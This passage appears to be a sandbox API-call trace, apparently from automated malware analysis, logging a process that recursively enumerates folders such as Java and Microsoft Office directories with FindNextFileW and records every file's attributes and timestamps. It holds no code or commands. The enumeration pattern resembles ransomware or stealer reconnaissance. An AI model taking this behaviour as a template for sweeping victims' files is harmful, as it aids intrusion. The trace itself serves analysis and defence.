lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0105.045] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f03e98 | out: hHeap=0x4b0000) returned 1 [0105.045] FindNextFileW (in: hFindFile=0x3e50100, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0105.519] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ea3e80 | out: hHeap=0x4b0000) returned 1 [0105.519] FindNextFileW (in: hFindFile=0x3e50480, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0105.520] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e93e78 | out: hHeap=0x4b0000) returned 1 [0105.520] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f584 | out: lpFindFileData=0x349f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0105.521] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e93e78 | out: hHeap=0x4b0000) returned 1 [0105.521] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f584 | out: lpFindFileData=0x349f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadc", cAlternateFileName="")) returned 1 [0105.549] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ea3e80 | out: hHeap=0x4b0000) returned 1 [0105.550] FindNextFileW (in: hFindFile=0x3e50480, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0105.551] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e93e78 | out: hHeap=0x4b0000) returned 1 [0105.551] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f584 | out: lpFindFileData=0x349f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0105.553] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ea3e80 | out: hHeap=0x4b0000) returned 1 [0105.553] FindNextFileW (in: hFindFile=0x3e50140, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0105.553] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e93e78 | out: hHeap=0x4b0000) returned 1 [0105.553] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f584 | out: lpFindFileData=0x349f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0105.554] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f03e98 | out: hHeap=0x4b0000) returned 1 [0105.556] FindNextFileW (in: hFindFile=0x3e50100, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0105.557] FindClose (in: hFindFile=0x3e50100 | out: hFindFile=0x3e50100) returned 1 [0105.557] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e73e68 | out: hHeap=0x4b0000) returned 1 [0105.557] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a307d95, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d0779b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d0779b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0105.558] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e93e78 | out: hHeap=0x4b0000) returned 1 [0105.558] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0105.559] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e93e78 | out: hHeap=0x4b0000) returned 1 [0105.559] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0105.559] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e93e78 | out: hHeap=0x4b0000) returned 1 [0105.559] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe63d2d10, ftCreationTime.dwHighDateTime=0x1d5c395, ftLastAccessTime.dwLowDateTime=0x22f82ad0, ftLastAccessTime.dwHighDateTime=0x1d5b1d4, ftLastWriteTime.dwLowDateTime=0x22f82ad0, ftLastWriteTime.dwHighDateTime=0x1d5b1d4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="spcwin.exe", cAlternateFileName="")) returned 1 [0105.560] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e73e68 | out: hHeap=0x4b0000) returned 1 [0105.560] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xe7efeb5d, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe7efeb5d, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Java", cAlternateFileName="")) returned 1 [0105.607] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0105.607] FindNextFileW (in: hFindFile=0x3e50140, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0105.981] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0105.981] FindNextFileW (in: hFindFile=0x3e50140, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1 [0105.984] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0105.984] FindNextFileW (in: hFindFile=0x3e50140, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1 [0105.985] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ea3e80 | out: hHeap=0x4b0000) returned 1 [0105.985] FindNextFileW (in: hFindFile=0x3e50480, lpFindFileData=0x349f584 | out: lpFindFileData=0x349f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1 [0106.054] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0106.054] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1 [0106.104] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0106.104] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1 [0106.106] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0106.106] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1 [0106.113] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0106.113] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1 [0106.177] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0106.177] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1 [0106.185] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0106.185] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1 [0106.201] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec3e90 | out: hHeap=0x4b0000) returned 1 [0106.201] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349f08c | out: lpFindFileData=0x349f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cursors", cAlternateFileName="")) returned 0 [0106.201] FindClose (in: hFindFile=0x3e50580 | out: hFindFile=0x3e50580) returned 1 [0106.201] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0106.201] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1 [0106.211] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0106.212] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0106.225] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0106.225] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1 [0106.442] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0106.443] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1 [0106.444] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ea3e80 | out: hHeap=0x4b0000) returned 1 [0106.444] FindNextFileW (in: hFindFile=0x3e50480, lpFindFileData=0x349f584 | out: lpFindFileData=0x349f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0106.444] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e93e78 | out: hHeap=0x4b0000) returned 1 [0106.445] FindNextFileW (in: hFindFile=0x3e50100, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84dfa00, ftCreationTime.dwHighDateTime=0x1d5acff, ftLastAccessTime.dwLowDateTime=0x9390f380, ftLastAccessTime.dwHighDateTime=0x1d5f05e, ftLastWriteTime.dwLowDateTime=0x9390f380, ftLastWriteTime.dwHighDateTime=0x1d5f05e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="showcase.exe", cAlternateFileName="")) returned 1 [0106.445] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e73e68 | out: hHeap=0x4b0000) returned 1 [0106.445] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9dfb986, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1 [0106.448] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e83e70 | out: hHeap=0x4b0000) returned 1 [0106.448] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1 [0106.456] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e83e70 | out: hHeap=0x4b0000) returned 1 [0106.456] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0106.463] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e93e78 | out: hHeap=0x4b0000) returned 1 [0106.463] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349f584 | out: lpFindFileData=0x349f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0107.837] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0107.837] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0108.211] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f53eb8 | out: hHeap=0x4b0000) returned 1 [0108.211] FindNextFileW (in: hFindFile=0x3e50640, lpFindFileData=0x349f08c | out: lpFindFileData=0x349f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0 [0108.211] FindClose (in: hFindFile=0x3e50640 | out: hFindFile=0x3e50640) returned 1 [0108.211] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0108.211] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, 